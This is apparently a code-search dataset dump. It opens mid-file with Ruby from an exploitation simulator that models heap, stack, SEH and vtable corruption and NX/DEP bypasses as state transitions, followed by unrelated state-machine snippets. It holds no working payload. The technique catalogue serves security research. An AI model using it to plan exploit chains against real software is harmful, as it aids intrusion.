corrupt heap memory.\r\n #\r\n predicate :can_corrupt_heap_memory\r\n\r\n #\r\n # The ability to corrupt an in use heap object depends on the attacker's\r\n # ability to massage the heap. Massaging the heap implies normalization\r\n # and placement of a desired object in a desired location.\r\n #\r\n predicate :can_massage_heap\r\n\r\n }\r\n\r\n #\r\n # Corrupt (typically adjacent) heap memory such that a freed chunk's free \r\n # links are controlled by the attacker.\r\n #\r\n event :corrupt_heap_free_links, :control_of_heap_entry_free_links, lambda {\r\n\r\n technique ExSim::HeapUnlinkOverwrite\r\n\r\n #\r\n # Must be able to corrupt heap memory.\r\n #\r\n predicate :can_corrupt_heap_memory\r\n\r\n #\r\n # Must be able to corrupt heap entry free links using this flaw.\r\n #\r\n predicate :can_corrupt_heap_free_links\r\n\r\n }\r\n\r\n #\r\n # Corrupt the LinkOffset field of a freed LFH user block.\r\n #\r\n event :corrupt_lfh_linkoffset, :control_of_lfh_linkoffset, lambda {\r\n\r\n technique ExSim::HeapLFHLinkOffsetOverwrite\r\n\r\n #\r\n # This only applies to Windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # This must be a user mode flaw.\r\n #\r\n predicate :is_user_flaw\r\n\r\n #\r\n # It is only possible to corrupt the link offset of a freed LFH user block\r\n # if the region of corruption is the heap or the flaw enables corruption of\r\n # arbitrary memory.\r\n #\r\n predicate :can_corrupt_heap_memory\r\n\r\n #\r\n # LFH must be enabled.\r\n #\r\n predicate :user_lfh_enabled do\r\n target.app.user_heap_frontend == :lfh\r\n end\r\n\r\n #\r\n # LFH must be a version that has the link offset metadata\r\n #\r\n predicate :lfh_has_link_offset_metadata do\r\n target.app.user_heap_frontend_version == :lfh_v1\r\n end\r\n\r\n }\r\n\r\n #\r\n # Corrupt a heap handle by freeing and then reallocating it.\r\n #\r\n event :free_and_alloc_heap_handle, :control_of_heap_handle, lambda {\r\n \r\n technique ExSim::HeapHandleFreeAndReallocate\r\n technique ExSim::HeapHandleCommitRoutineOverwrite\r\n\r\n #\r\n # This only applies to Windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # This must be a user mode flaw.\r\n #\r\n predicate :is_user_flaw\r\n\r\n #\r\n # The flaw must permit an arbitrary free.\r\n #\r\n predicate :can_free_arbitrary_address\r\n\r\n #\r\n # Must be able to find a heap address from which we can attempt to infer\r\n # the heap handle base.\r\n #\r\n predicate :can_find_address, :heapbase\r\n\r\n #\r\n # The OS must not prevent freeing of the _HEAP base.\r\n #\r\n predicate :can_free_heap_handle do\r\n attacker_favors_false(target.os.user_heap_prevent_free_of_heap_base) == false\r\n end\r\n\r\n }\r\n\r\n #\r\n # Corrupt the _HEAP handle structured associated with a heap. This can\r\n # enable us to transfer control to an arbitrary address.\r\n #\r\n event :corrupt_heap_handle, :control_of_heap_handle, lambda {\r\n\r\n technique ExSim::HeapHandleCommitRoutineOverwrite\r\n\r\n #\r\n # This only applies to Windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # This must be a user mode flaw.\r\n #\r\n predicate :is_user_flaw\r\n\r\n #\r\n # Must be able to corrupt heap memory.\r\n #\r\n predicate :can_corrupt_heap_memory\r\n\r\n #\r\n # Must be able to find a heap address from which we can attept to infer\r\n # the heap handle base.\r\n #\r\n predicate :can_find_address, :heapbase\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # An additional flaw has been triggered (such as gaining the ability to\r\n # write anywhere via corrupting application state). This results in\r\n # re-entering the flaw triggered state and may open up additional \r\n # avenues of exploitation.\r\n #\r\n state :next_flaw_triggered do\r\n event :trigger_flaw, :flaw_triggered, lambda {\r\n\r\n #\r\n # Do not simulate multiple write anywhere flaws\r\n #\r\n predicate_nocache :have_not_triggered_write_anywhere do\r\n if assumed_true? :triggered_write_anywhere\r\n false\r\n else\r\n assume_true :triggered_write_anywhere \r\n true\r\n end\r\n end\r\n\r\n }\r\n end\r\n\r\n #\r\n # Once we have control of the return address, the next step is to return\r\n # from the function and gain control of the instruction pointer.\r\n #\r\n state :control_of_return_address do\r\n\r\n event :return_from_function, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::ReturnAddressOverwrite\r\n\r\n #\r\n # Must be able to guess (or ignore) the stack protection cookie if\r\n # one is present.\r\n #\r\n predicate :can_bypass_stack_protection\r\n\r\n #\r\n # We can now safely assume that we have control of memory at the \r\n # stack pointer.\r\n #\r\n assume_true :can_control_stack_pointer\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # Once we have control of the frame pointer we can return from the\r\n # function and gain control of different parts of the parent stack frame.\r\n #\r\n state :control_of_frame_pointer do\r\n\r\n event :return_from_function_ra, :control_of_return_address, lambda {\r\n\r\n technique ExSim::FramePointerOverwrite\r\n \r\n #\r\n # Must be able to guess (or ignore) the stack protection cookie if\r\n # one is present.\r\n #\r\n predicate :can_bypass_stack_protection\r\n\r\n }\r\n\r\n event :return_from_function_os, :control_of_in_use_object_state, lambda {\r\n\r\n technique ExSim::FramePointerOverwrite\r\n \r\n #\r\n # Must be able to guess (or ignore) the stack protection cookie if\r\n # one is present.\r\n #\r\n predicate :can_bypass_stack_protection\r\n\r\n }\r\n\r\n event :return_from_function_fp, :control_of_function_pointer, lambda {\r\n\r\n technique ExSim::FramePointerOverwrite\r\n \r\n #\r\n # Must be able to guess (or ignore) the stack protection cookie if\r\n # one is present.\r\n #\r\n predicate :can_bypass_stack_protection\r\n\r\n }\r\n\r\n event :return_from_function_wtp, :control_of_write_target_pointer, lambda {\r\n\r\n technique ExSim::FramePointerOverwrite\r\n \r\n #\r\n # Must be able to guess (or ignore) the stack protection cookie if\r\n # one is present.\r\n #\r\n predicate :can_bypass_stack_protection\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # Control of a function pointer can allow us to gain control of the\r\n # instruction pointer, but only after we've triggered a call via the\r\n # function pointer.\r\n #\r\n state :control_of_function_pointer do\r\n\r\n event :call_function_pointer, :control_of_instruction_pointer, lambda {\r\n\r\n #\r\n # Assume that the attacker will have a way to trigger a call via\r\n # the function pointer.\r\n #\r\n assume_true :can_trigger_function_pointer_call\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # Control of an SEH frame can allow us to gain control of the instruction\r\n # pointer if we can trigger an exception.\r\n #\r\n state :control_of_seh_frame do\r\n\r\n event :trigger_exception, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::StructuredExceptionHandlerOverwrite\r\n\r\n #\r\n # Must be able to trigger the exception during the course of\r\n # exploiting the flaw, otherwise control of the SEH frame\r\n # does not matter.\r\n #\r\n predicate :can_trigger_seh_exception\r\n\r\n #\r\n # Must be able to bypass SafeSEH (if it is relevant in the context\r\n # of the target).\r\n #\r\n predicate :can_bypass_safeseh\r\n\r\n #\r\n # Must be able to bypass SEHOP (if it is relevant/enabled).\r\n #\r\n predicate :can_bypass_sehop\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # We now have control of the LinkOffset of a freed LFH user block.\r\n #\r\n state :control_of_lfh_linkoffset do\r\n\r\n #\r\n # Control of the LinkOffset of a freed LFH user block can permit us to cause\r\n # the heap to allocate an already in-use heap object and then gain\r\n # control of the object's state.\r\n #\r\n event :allocate_in_use_heap_object, :control_of_in_use_object_state, lambda {\r\n\r\n technique ExSim::HeapLFHLinkOffsetOverwrite\r\n\r\n #\r\n # We can only do this if we are able to massage the heap in such a way as to\r\n # make sure that the heap allocates a specific heap object that is already\r\n # in-use.\r\n #\r\n predicate :can_massage_heap\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # We now control the Flink and Blink pointers associated with a heap entry. This\r\n # enables us to unlink the heap entry and gain control of a write target pointer.\r\n #\r\n state :control_of_heap_entry_free_links do\r\n\r\n #\r\n # Unlink the heap entry, leading to a write anywhere.\r\n #\r\n event :unlink_heap_entry, :control_of_write_target_pointer, lambda {\r\n\r\n technique ExSim::HeapUnlinkOverwrite\r\n\r\n #\r\n # Safe unlinking must not be present.\r\n #\r\n predicate :safe_unlinking_not_present\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # Once we have control of a _HEAP handle, we can trigger a call through\r\n # the CommitRoutine function pointer.\r\n #\r\n state :control_of_heap_handle do\r\n\r\n #\r\n # Trigger a code path that invokes the commit routine.\r\n #\r\n event :call_commit_routine, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::HeapHandleCommitRoutineOverwrite\r\n\r\n #\r\n # Explicitly assumes that this action will not destabalize\r\n # the heap in any way.\r\n #\r\n explicitly_assume :does_not_destabalize_heap\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # We now have control of the vtable pointer of a C++ object.\r\n #\r\n state :control_of_cpp_object_vtable do\r\n\r\n #\r\n # Trigger a virtual method call on the object whose state we control. This\r\n # can give us control of the instruction pointer.\r\n #\r\n event :call_virtual_method, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::CppObjectVtablePointerOverwrite\r\n\r\n #\r\n # We must be able to find desired data in order to be able\r\n # to locate our fake vtable.\r\n #\r\n # FIXME: We could also find one in a mapped image or other region\r\n # that the attacker does not directly control. Model this.\r\n #\r\n predicate :can_locate_fake_vtable do\r\n can_find_desired_data\r\n end\r\n\r\n #\r\n # If vtguard is enabled in the context of the flawed code, then\r\n # the attacker must be able to specify a valid vtable which\r\n # is possible if the attacker can leak an address inside of\r\n # the vtguard protected image.\r\n #\r\n predicate :can_bypass_vtguard\r\n\r\n #\r\n # We assume that the attacker can actually trigger the virtual method\r\n # call.\r\n #\r\n explicitly_assume :can_trigger_virtual_method_call\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # We now have control of the state associated with an object that is currently\r\n # in-use by the application.\r\n #\r\n state :control_of_in_use_object_state do\r\n\r\n #\r\n # Trigger a virtual method call on the object whose state we control. This\r\n # can give us control of the instruction pointer.\r\n #\r\n event :call_virtual_method, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::CppObjectVtablePointerOverwrite\r\n\r\n #\r\n # We must be able to find desired data in order to be able\r\n # to locate our fake vtable.\r\n #\r\n # FIXME: We could also find one in a mapped image or other region\r\n # that the attacker does not directly control. Model this.\r\n #\r\n predicate :can_locate_fake_vtable do\r\n can_find_desired_data\r\n end\r\n\r\n #\r\n # If vtguard is enabled in the context of the flawed code, then\r\n # the attacker must be able to specify a valid vtable which\r\n # is possible if the attacker can leak an address inside of\r\n # the vtguard protected image.\r\n #\r\n predicate :can_bypass_vtguard\r\n\r\n #\r\n # We assume that the attacker can actually trigger the virtual method\r\n # call.\r\n #\r\n explicitly_assume :can_trigger_virtual_method_call\r\n\r\n }\r\n\r\n event :call_via_member_field_function_pointer, :control_of_instruction_pointer, lambda {\r\n \r\n technique ExSim::FunctionPointerOverwrite\r\n\r\n #\r\n # We assume that the attacker can actually trigger a call via the\r\n # function pointer.\r\n #\r\n explicitly_assume :can_trigger_call_via_member_function_pointer\r\n\r\n }\r\n\r\n #\r\n # Trigger a write to a member field pointer using the object that\r\n # we control. This provides us with a write anywhere primitive.\r\n #\r\n event :write_via_member_field_pointer, :next_flaw_triggered, lambda {\r\n\r\n technique ExSim::WriteTargetPointerOverwrite\r\n\r\n assume_true :can_trigger_write_via_member_field_pointer\r\n\r\n assume_true :can_write_anywhere\r\n assume_true :can_corrupt_stack_memory\r\n assume_true :can_corrupt_heap_memory\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # We have control of a pointer that is used when writing memory.\r\n #\r\n state :control_of_write_target_pointer do\r\n\r\n #\r\n # Write to memory using the pointer that is controlled by the attacker. \r\n # This triggers a subsequent flaw by granting the ability to write anywhere\r\n # in memory.\r\n #\r\n event :write_memory, :next_flaw_triggered, lambda {\r\n assume_true :can_write_anywhere\r\n assume_true :can_corrupt_stack_memory\r\n assume_true :can_corrupt_heap_memory\r\n }\r\n\r\n end\r\n\r\n #\r\n # Once we have control of the instruction pointer we are able\r\n # to take the next step toward executing arbitrary code. This\r\n # may require us to bypass NX, use ROP, or find some alternative\r\n # strategy to run code.\r\n #\r\n state :control_of_instruction_pointer do\r\n\r\n #\r\n # Transfer control to the address of desired code.\r\n #\r\n event :transfer_to_attacker_controlled_code, :control_of_code_execution, lambda {\r\n\r\n #\r\n # We must be able to find the address of attacker controlled code.\r\n #\r\n predicate :can_find_attacker_controlled_code\r\n\r\n }\r\n\r\n #\r\n # Transfer control to a data address.\r\n #\r\n event :transfer_to_data_address, :control_of_code_execution, lambda {\r\n\r\n #\r\n # Must be able to find the address of attacker controlled data.\r\n #\r\n predicate :can_find_attacker_controlled_data\r\n\r\n #\r\n # Must be able to execute data as code.\r\n #\r\n predicate :can_execute_at_address, :data\r\n\r\n }\r\n\r\n #\r\n # Pivot to control of the stack pointer as an alternative means of getting\r\n # control of code execution.\r\n #\r\n event :pivot_stack_pointer, :control_of_stack_pointer, lambda {\r\n\r\n technique ExSim::PivotStackPointer\r\n\r\n #\r\n # To do this we must be able to control the stack pointer (and the content\r\n # pointed to by the stack pointer).\r\n #\r\n predicate :can_control_stack_pointer\r\n \r\n #\r\n # We assume that the attacker is able to find a stack pivot gadget of\r\n # some sort.\r\n #\r\n explicitly_assume :can_find_stack_pivot_gadget\r\n\r\n }\r\n\r\n #\r\n # Bypass NX if it is necessary.\r\n #\r\n event :bypass_nx, :bypassing_nx, lambda {\r\n\r\n #\r\n # We don't need to bypass NX if we're already able to execute data\r\n # as code.\r\n #\r\n predicate_nocache :nx_bypass_necessary, :data do\r\n\r\n if can_execute_at_address :data == 1.0\r\n 0.0\r\n else\r\n 1.0\r\n end\r\n\r\n end\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # Once we have control of the stack pointer, we can execute complete ROP\r\n # payload and gain control of code execution.\r\n #\r\n state :control_of_stack_pointer do\r\n\r\n #\r\n # Execute a payload composed entirely of ROP gadgets and thus gain\r\n # control of code execution.\r\n #\r\n event :execute_self_contained_rop_payload, :control_of_code_execution, lambda {\r\n\r\n technique ExSim::CodeExecutionViaSelfContainedRopPayload\r\n\r\n #\r\n # ROP payloads are only really needed if we cannot find the address of\r\n # attacker controlled code.\r\n #\r\n predicate_nocache :rop_payload_is_warranted do\r\n can_find_attacker_controlled_code == false\r\n end\r\n\r\n #\r\n # The attacker must be able to control the stack pointer. While not\r\n # entirely true given the form of certain gadgets, the state of the\r\n # art implementations all require stack pointer control for chaining.\r\n # \r\n # We must be able to find an image that will contain our gadgets. In\r\n # some cases we may also need to know the address of kernel32.dll,\r\n # but for now we assume this to not be the case.\r\n #\r\n predicate :can_return_to_libc, :image\r\n\r\n #\r\n # We explicitly assume that the attacker can find all of the gadgets\r\n # that are needed to write their self-contained payload.\r\n #\r\n explicitly_assume :can_find_all_necessary_gadgets\r\n\r\n }\r\n\r\n end\r\n\r\n state :bypassing_nx do\r\n\r\n #\r\n # Disable DEP for the process by returning into code that invokes\r\n # NtSetInformationProcess with MEM_EXECUTE_ENABLE.\r\n #\r\n event :disable_dep_for_process, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::BypassNxViaNtSetInformationProcess\r\n\r\n #\r\n # This only applies to Windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # This must be a user flaw.\r\n #\r\n predicate :is_user_flaw\r\n\r\n #\r\n # This must be a 32-bit x86 application.\r\n #\r\n predicate :is_x86_app\r\n\r\n #\r\n # DEP must not be enabled permanently.\r\n #\r\n predicate :is_dep_not_permanent do\r\n attacker_favors_false(target.app.user_nx_permanent) == false\r\n end\r\n\r\n #\r\n # We must be able to find ntdll.dll or acgeneral.dll.\r\n #\r\n # The ability to return to libc implies that we must be able to control\r\n # the stack pointer.\r\n #\r\n predicate :can_return_to_libc, \"image:ntdll.dll\"\r\n\r\n #\r\n # We must know the address of writable data given the requirement that\r\n # ebp be writable.\r\n #\r\n predicate :can_find_address, :data\r\n \r\n #\r\n # If all predicates are satisfied, assume that we can now execute data\r\n # as code.\r\n #\r\n assume_true :can_execute_at_address, :data\r\n assume_true :can_execute_at_address, :heap\r\n assume_true :can_execute_at_address, :stack\r\n\r\n #\r\n # Assume that we can now find desired code if we\r\n # know where desired data is.\r\n #\r\n assume :can_find_desired_code do\r\n can_find_desired_data or can_find_desired_code\r\n end\r\n\r\n }\r\n\r\n #\r\n # Bypass NX by staging the payload to an executable heap.\r\n #\r\n event :stage_to_executable_heap, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::BypassNxViaStageToExecutableCrtHeap\r\n\r\n #\r\n # This only applies to Windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # This is only applicable in user mode.\r\n #\r\n predicate :is_user_flaw\r\n\r\n #\r\n # We must be able to find msvcrt.dll or an image that has a\r\n # HeapCreate IAT entry.\r\n #\r\n # The ability to return to libc implies that we must be able to\r\n # control the stack pointer.\r\n #\r\n predicate :can_return_to_libc\r\n\r\n #\r\n # If the predicates are satisfied, assume that we can now execute data as code\r\n # and that are also able to find the address of our code (implicitly).\r\n #\r\n assume_true :can_execute_at_address, :data\r\n assume_true :can_find_address, :code\r\n assume_true :can_find_attacker_controlled_code\r\n assume_true :can_find_desired_code\r\n\r\n }\r\n\r\n #\r\n # Bypass NX by staging the payload to memory that is re-protected or allocated\r\n # as executable.\r\n #\r\n event :stage_via_virtual_protect, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::BypassNxViaStageToVirtualProtectOrAlloc\r\n\r\n #\r\n # This only applies to Windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # This is only applicable in user mode.\r\n #\r\n predicate :is_user_flaw\r\n\r\n #\r\n # We must be able to find kernel32.dll in order to return into VirtualProtect\r\n # or VirtualAlloc. Alternatively we could return into ntdll.dll, but the \r\n # effect is the same.\r\n #\r\n predicate :can_return_to_libc, \"image:kernel32.dll\"\r\n\r\n #\r\n # If the predicates are satisfied, assume that we can now execute data as\r\n # code.\r\n #\r\n assume_true :can_execute_at_address, :data\r\n assume_true :can_find_address, :code\r\n assume_true :can_find_attacker_controlled_code\r\n assume_true :can_find_desired_code\r\n\r\n }\r\n\r\n event :stage_via_virtual_protect_rop, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::BypassNxViaRopStageToVirtualProtectOrAlloc\r\n\r\n #\r\n # This only applies to Windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # Staging to VirtualProtect is only applicable in user mode.\r\n #\r\n predicate :is_user_flaw\r\n\r\n #\r\n # The attacker must be able to control the stack pointer. While not\r\n # entirely true given the form of certain gadgets, the state of the\r\n # art implementations all require stack pointer control for chaining.\r\n #\r\n predicate :can_control_stack_pointer\r\n\r\n #\r\n # We must be able to find an image that will contain our gadgets. In some cases\r\n # we may also need to know the address of kernel32.dll, but for now we assume\r\n # this to not be the case.\r\n #\r\n predicate :can_find_address, :image\r\n\r\n #\r\n # Assume that we can now execute data as code and that we're now able to find\r\n # desired code implicitly.\r\n #\r\n assume_true :can_execute_at_address, :data\r\n assume_true :can_find_address, :code\r\n assume_true :can_find_attacker_controlled_code\r\n assume_true :can_find_desired_code\r\n\r\n explicitly_assume :can_find_stack_pivot_gadget\r\n\r\n }\r\n\r\n end\r\n\r\n ###\r\n ###\r\n ##\r\n # Post-exploitation stage\r\n #\r\n # Spans from code execution to ...\r\n ##\r\n ###\r\n ###\r\n\r\n #\r\n # We now have control of arbitrary code execution. Exploitation is now\r\n # successful and we can transition into the post-exploitation stage.\r\n #\r\n state :control_of_code_execution do\r\n\r\n #\r\n # When we enter this state, copy the transitions that we traversed\r\n # and then add our current context to the list of global simulation\r\n # contexts so that we can do global analysis on it.\r\n #\r\n on_entry lambda {\r\n @transitions = self.statemachine.simulation_stack.dup\r\n self.global.add_simulation self\r\n }\r\n\r\n end\r\n\r\n end\r\n\r\n #\r\n # Set the statemachine's context and return the statemachine to the control\r\n #\r\n sm.context = @context\r\n\r\n sm\r\n end", "title": "" }, { "docid": "85eaba00f359cb47c7955635b48c5d30", "score": "0.5789959", "text": "def state_machine_name; end", "title": "" }, { "docid": "85eaba00f359cb47c7955635b48c5d30", "score": "0.5789959", "text": "def state_machine_name; end", "title": "" }, { "docid": "f0d193988067c6c8a4071ad1ea7f984b", "score": "0.57868326", "text": "def run(state = :target_defined)\r\n # Build the state machine\r\n sm = build\r\n\r\n @context.statemachine = sm\r\n\r\n # Set our initial state\r\n sm.state = state\r\n\r\n # Run the simulation\r\n sm.simulate\r\n end", "title": "" }, { "docid": "db09191a43d4b82206fcb12b086aeaf2", "score": "0.57718885", "text": "def define_transition\n return unless block_given?\n builder = StateTransitionBuilder.new\n yield builder\n state_machine_template.add_transitions builder.build\n end", "title": "" }, { "docid": "aad9eb6102289b3c295a292f178b408c", "score": "0.57354367", "text": "def closure!\n state0 = new_state\n state1 = new_state\n add_state(state0)\n add_state(state1)\n add_transition(state0, @start, \"\")\n add_transition(state0, state1, \"\")\n add_transition(state1, state0, \"\")\n set_start(state0)\n \n @final.keys.each{ |fin|\n add_transition(fin, state1, \"\")\n }\n \n @final.clear\n set_final(state1, true)\n end", "title": "" }, { "docid": "ef50c8632d68f92489226ce88fc19779", "score": "0.57206076", "text": "def trigger_mechanism\n raise NotImplementedError\n end", "title": "" }, { "docid": "f4f0a4e2da72e6d5d573a415fb164800", "score": "0.571973", "text": "def define(*args, &block)\n StateMachine.new(*args, &block)\n end", "title": "" }, { "docid": "5513061555e546384a7ba2c7f8206913", "score": "0.5715397", "text": "def initialize_event_machine; end", "title": "" }, { "docid": "c35c5efa0587e4ffd079f6cd6d420833", "score": "0.571059", "text": "def define_state_initializer\n @instance_helper_module.class_eval <<-end_eval, __FILE__, __LINE__\n # Ensure that the attributes setter gets used to force initialization\n # of the state machines\n def initialize(attributes = nil, *args)\n attributes ||= {}\n super\n end\n\n # Hooks in to attribute initialization to set the states *prior*\n # to the attributes being set\n def attributes=(new_attributes, *args)\n if new_record? && !@initialized_state_machines\n @initialized_state_machines = true\n\n if new_attributes\n attributes = new_attributes.dup\n attributes.stringify_keys!\n ignore = remove_attributes_protected_from_mass_assignment(attributes).keys\n else\n ignore = []\n end\n\n initialize_state_machines(:dynamic => false, :ignore => ignore)\n super\n initialize_state_machines(:dynamic => true, :ignore => ignore)\n else\n super\n end\n end\n end_eval\n end", "title": "" }, { "docid": "d3e3977f780473e3c41446dce28a1462", "score": "0.57032216", "text": "def machine; end", "title": "" }, { "docid": "df8d2149f385620c8c7d116f9caa4984", "score": "0.5695643", "text": "def build!; end", "title": "" }, { "docid": "7297aa163b7db0af2a32b5a3b381ee39", "score": "0.5688982", "text": "def call_state_methods\n meth_map = {} # map from ID => [Method]\n self.class.instance_methods.each do |m|\n next unless m =~ /^__state(\\d+)__/\n id = Regexp.last_match.captures.first.to_i\n meth_map[id] ||= []\n meth_map[id] << self.method(m)\n end\n\n meth_map.keys.sort.each do |i|\n meth_map[i].each {|m| m.call}\n end\n end", "title": "" }, { "docid": "345c8f2e161e2be1119f85cf768cb2a3", "score": "0.56813675", "text": "def state_machine_for(field, &block)\n m = Machine.new\n m.instance_eval(&block)\n var_name = \"@#{field}_state\"\n set_name = \"#{field}_state=\"\n history_name = \"@#{field}_state_history\"\n\n define_method(\"#{field}_state\") do\n instance_variable_get(var_name)\n end\n\n define_method(set_name) do |ns|\n state = instance_variable_get(var_name)\n raise StateError, \"#{ns} is not possible state after #{state}\" unless m.transitions[state].include?(ns)\n if instance_variable_get(history_name).include?(ns) && m.states[ns].unique?\n raise StateError, \"#{ns} is a unique state and has already been taken\"\n end\n\n instance_variable_get(history_name) << ns\n instance_variable_set(var_name, ns)\n end\n\n define_method(\"initialize_#{field}\") do |initial|\n m.validate_state!([initial])\n raise StateError, \"#{initial} is not possible initial state\" unless m.states[initial].can_be_initial?\n\n instance_variable_set(history_name, Set.new)\n instance_variable_set(var_name, initial)\n end\n\n define_method(\"final_#{field}_state?\") do\n m.states[instance_variable_get(var_name)].final?\n end\n end", "title": "" }, { "docid": "13fa0d88f4d08b7d911a3d2595afdbaa", "score": "0.5679994", "text": "def closure! \n\t\t#puts \"CLOSURE!\"\n\t\tnew_start = new_state\n\t\tadd_transition(new_start, @start, \"\")\n\t\t@start = new_start\n\t\t\t\n\t\told_final = @final.keys[0]\n\t\tnew_final = new_state\n\t\tadd_transition(old_final,new_final,\"\")\n\t\tset_final(old_final, false)\n\t\tset_final(new_final)\n\t\t\n\t\tadd_transition(new_start,new_final,\"\")\n\t\tadd_transition(new_final,new_start,\"\")\n\t\n end", "title": "" }, { "docid": "45baee58a8c3f7adf7ae0eaad5dfc2af", "score": "0.5677674", "text": "def state_class(&blk)\n Class.new do\n extend SimpleState\n state_machine(&blk)\n end.new\nend", "title": "" }, { "docid": "0ef936a2ebe85aed3a988d9838f2aa3a", "score": "0.56747764", "text": "def start_building\n end", "title": "" }, { "docid": "d79f297ba3bdcf1af117c5690350a637", "score": "0.56741285", "text": "def build; end", "title": "" }, { "docid": "791044d9558c34b0f2b17404edcf431d", "score": "0.5672753", "text": "def build_up\n end", "title": "" }, { "docid": "30742c5c2fec1deb87f6fdbf37c0967a", "score": "0.56613", "text": "def trigger(event); end", "title": "" }, { "docid": "4804a56e6e9c6ddebfab799fb054efa8", "score": "0.5656609", "text": "def invocations; end", "title": "" }, { "docid": "d168b76f93e41ca5d9ee163db8660ee1", "score": "0.5648614", "text": "def state(*) end", "title": "" }, { "docid": "43aa6b61e25227558c4add296091f7e2", "score": "0.5643554", "text": "def fire_state_machine_event(event)\n case event.class.name\n when \"Proc\"\n event.call\n when \"Symbol\", \"String\"\n self.send(event)\n when \"Array\"\n event.each do |e|\n fire_state_machine_event(e)\n end\n end\n end", "title": "" }, { "docid": "58a9f5599d836c14b145e1bd79bdb35b", "score": "0.5632092", "text": "def initialize(ev,start,&ruby_block)\n this = self\n # Process the arguments.\n ev = ev.posedge unless ev.is_a?(Event)\n if start.is_a?(Event) then\n start = start.type == :posedge ? start.ref : ~start.ref\n end\n # Create the fsm from the block.\n @fsm = fsm(ev,start,:seq)\n # On reset (start) tell to go to the first state.\n run = HDLRuby::High.cur_system.inner(HDLRuby.uniq_name(:run) => 0)\n @fsm.reset do\n # HDLRuby::High.top_user.instance_exec do\n # next_state_sig <= this.start_state_value\n # end\n run <= 1\n end\n\n # The status stack of the sequencer.\n @status = [ {} ]\n # Creates the namespace to execute the sequencer deescription \n # block in.\n @namespace = Namespace.new(self)\n\n # The end state is actually 0, allows to sequencer to be stable\n # by default.\n @fsm.default { run <= 0 }\n @end_state = @fsm.state { }\n @end_state.gotos << proc do\n HDLRuby::High.top_user.instance_exec do\n hif(run) { next_state_sig <= this.start_state_value }\n helse { next_state_sig <= this.end_state_value }\n end\n end\n # Record the start and end state values.\n # For now, the start state is the one just following the end state.\n @end_state_value = @end_state.value\n @start_state_value = @end_state_value + 1\n # puts \"end_state_value=#{@end_state_value}\"\n\n # Process the ruby_block.\n @@current = self\n HDLRuby::High.space_push(@namespace)\n blk = HDLRuby::High::Block.new(:seq,&ruby_block)\n HDLRuby::High.space_pop\n\n # If the block is not empty, add it as last state.\n this = self\n if blk.each_statement.any? then\n st = @fsm.state do\n this.fill_top_user(blk)\n end\n end\n\n # Build the fsm.\n @fsm.build\n end", "title": "" }, { "docid": "9a5f3e4033776f7658ef6e85e616a90f", "score": "0.5628074", "text": "def build_started(build)\n end", "title": "" }, { "docid": "9a5f3e4033776f7658ef6e85e616a90f", "score": "0.5628074", "text": "def build_started(build)\n end", "title": "" }, { "docid": "2baa99e29ff218afc6424e1a45cb1004", "score": "0.56194866", "text": "def refresh_state_methods!\n states.values.each do |state_class|\n add_state_methods_from(state_class)\n end\n end", "title": "" }, { "docid": "c3425facdb4ec69a4890bc938d36f6b5", "score": "0.56049925", "text": "def handle_factory_callback(ti)\n case ti.status.upcase\n when \"COMPLETE\"\n ti.fsm_create_start if ti.fsm_create_state == \"queued\"\n ti.fsm_create_complete unless ti.fsm_create_state == \"complete\"\n when \"BUILDING\"\n ti.fsm_create_start unless ti.fsm_create_state == \"in_progress\"\n when \"FAILED\"\n ti.fsm_create_start if ti.fsm_create_state == \"queued\"\n ti.fsm_create_fail unless ti.fsm_create_state == \"failed\"\n when \"DELETING\"\n ti.fsm_delete_start unless ti.fsm_delete_state == \"in_progress\"\n when \"DELETEFAILED\"\n ti.fsm_delete_start if ti.fsm_delete_state == \"queued\"\n ti.fsm_delete_fail unless ti.fsm_delete_state == \"failed\"\n when \"DELETED\"\n ti.fsm_delete_start if ti.fsm_delete_state == \"queued\"\n ti.fsm_delete_complete unless ti.fsm_delete_state == \"complete\"\n end\n end", "title": "" }, { "docid": "e5aa5bf14dfe5b888e7e2af74f66fa17", "score": "0.56018996", "text": "def generate_state( state, formatter )\n # \n # #\n # # Group the actions.\n # \n # terminal_actions = {}\n # non_terminal_actions = {}\n # \n # state.actions.each do |symbol, action|\n # if action.is_a?(Plan::Actions::Goto) then\n # non_terminal_actions[symbol] = action\n # else\n # terminal_actions[symbol] = action\n # end\n # end\n # \n # \n # #\n # # Generate the function.\n # \n # description = \"\"\n # state.display( description )\n # \n # generate_function( \"perform_state_#{state.number}\", description, formatter ) do\n # \n # #\n # # Generate the terminals processing for the state.\n # \n # formatter << %[]\n # formatter << %[#]\n # formatter << %[# If there is nothing on deck, we are processing lookahead.]\n # formatter << %[]\n # formatter << %[if @on_deck.nil? then]\n # formatter.indent do\n # formatter << %[next_token = la( 1, #{state.number} )]\n # formatter << %[token_type = next_token.nil? ? nil : next_token.type]\n # formatter << %[]\n # if terminal_actions.empty? then\n # formatter << \"ERROR HANDLING HERE\"\n # else\n # formatter << %[case token_type]\n # terminal_actions.each do |symbol, action|\n # formatter << %[]\n # formatter << %[#]\n # formatter.indent( %[# ] ) do\n # formatter << %[Action analysis for lookahead #{quote_symbol(symbol)}]\n 